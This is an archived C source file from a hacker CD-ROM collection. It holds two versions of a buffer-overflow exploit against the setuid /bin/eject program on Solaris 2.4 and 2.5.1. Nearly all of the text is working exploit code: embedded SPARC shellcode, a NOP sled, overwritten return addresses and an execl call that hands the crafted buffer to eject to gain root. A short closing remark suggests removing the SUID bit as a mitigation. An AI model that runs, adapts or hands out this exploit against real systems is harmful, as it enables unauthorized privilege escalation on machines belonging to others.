home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / eject.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  4KB  |  129 lines

  1. ------------------------ eject.c-----------------------------
  2. /* For Solaris 2.4 */
  3.  
  4.    #include <stdio.h>
  5.    #include <stdlib.h>
  6.    #include <sys/types.h>
  7.    #include <unistd.h>
  8.  
  9.    #define BUF_LENGTH 264
  10.    #define EXTRA 36
  11.    #define STACK_OFFSET 8
  12.    #define SPARC_NOP 0xc013a61c
  13.  
  14.    u_char sparc_shellcode[] =
  15.  
  16.    "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  17.    "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  18.    "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  19.    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  20.    "\x91\xd0"/*\x20\x08"*/
  21.    ;
  22.  
  23.    u_long get_sp(void)
  24.    {
  25.    __asm__("mov %sp,%i0 \n");
  26.    }
  27.  
  28.    void main(int argc, char *argv[])
  29.    {
  30.    char buf[BUF_LENGTH + EXTRA + 8];
  31.    long targ_addr;
  32.    u_long *long_p;
  33.    u_char *char_p;
  34.    int i, code_length = strlen(sparc_shellcode),dso=0;
  35.  
  36.    if(argc > 1) dso=atoi(argv[1]);
  37.  
  38.    long_p =(u_long *) buf ;
  39.    targ_addr = get_sp() - STACK_OFFSET - dso;
  40.  
  41.    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  42.    *long_p++ = SPARC_NOP;
  43.  
  44.    char_p = (u_char *) long_p;
  45.  
  46.    for (i = 0; i < code_length; i++)
  47.    *char_p++ = sparc_shellcode[i];
  48.  
  49.    long_p = (u_long *) char_p;
  50.  
  51.    for (i = 0; i < EXTRA / sizeof(u_long); i++)
  52.    *long_p++ =targ_addr;
  53.  
  54.    printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  55.    targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  56.    execl("/bin/eject", "eject", & buf,(char *) 0);
  57.    perror("execl failed");
  58.    }
  59. ------------------------- end of eject.c ------------------------
  60.  
  61. ------------------------- eject.c -------------------------------
  62. /* Wrote for Solaris 2.5.1 */
  63.  
  64.    #include <stdio.h>
  65.    #include <stdlib.h>
  66.    #include <sys/types.h>
  67.    #include <unistd.h>
  68.  
  69.    #define BUF_LENGTH 364
  70.    #define EXTRA 400
  71.    #define STACK_OFFSET 400
  72.    #define SPARC_NOP 0xa61cc013
  73.  
  74.    u_char sparc_shellcode[] =
  75.  
  76.    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  77.    "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
  78.    "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  79.    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
  80.    "\x91\xd0\x20\x08"
  81.    ;
  82.  
  83.    u_long get_sp(void)
  84.    {
  85.    __asm__("mov %sp,%i0 \n");
  86.    }
  87.  
  88.    void main(int argc, char *argv[])
  89.    {
  90.    char buf[BUF_LENGTH + EXTRA + 8];
  91.    long targ_addr;
  92.    u_long *long_p;
  93.    u_char *char_p;
  94.    int i, code_length = strlen(sparc_shellcode),dso=0;
  95.  
  96.    if(argc > 1) dso=atoi(argv[1]);
  97.  
  98.    long_p =(u_long *) buf ;
  99.    targ_addr = get_sp() - STACK_OFFSET - dso;
  100.    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  101.    *long_p++ = SPARC_NOP;
  102.  
  103.    char_p = (u_char *) long_p;
  104.  
  105.    for (i = 0; i < code_length; i++)
  106.    *char_p++ = sparc_shellcode[i];
  107.  
  108.    long_p = (u_long *) char_p;
  109.  
  110.    for (i = 0; i < EXTRA / sizeof(u_long); i++)
  111.    *long_p++ =targ_addr;
  112.  
  113.    printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  114.    targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  115.    execl("/bin/eject", "eject", & buf[1],(char *) 0);
  116.    perror("execl failed");
  117.    }
  118. ---------------------------- end of eject.c ------------------------
  119.  
  120.  
  121.  
  122. Ejects works SUID root and as well w/o SUID bit, IF volume managment is
  123. running. So if you run volume management you can remove the SUID bit on
  124. /bin/eject.... one less SUID proggie to worry about. Any user can eject
  125. media if it's not currently being used... I could imagine possible
  126. annoyances with this... some one ejecting your floppy while your home
  127. and having to drive back to the office to put the damn thing back in.
  128.  
  129.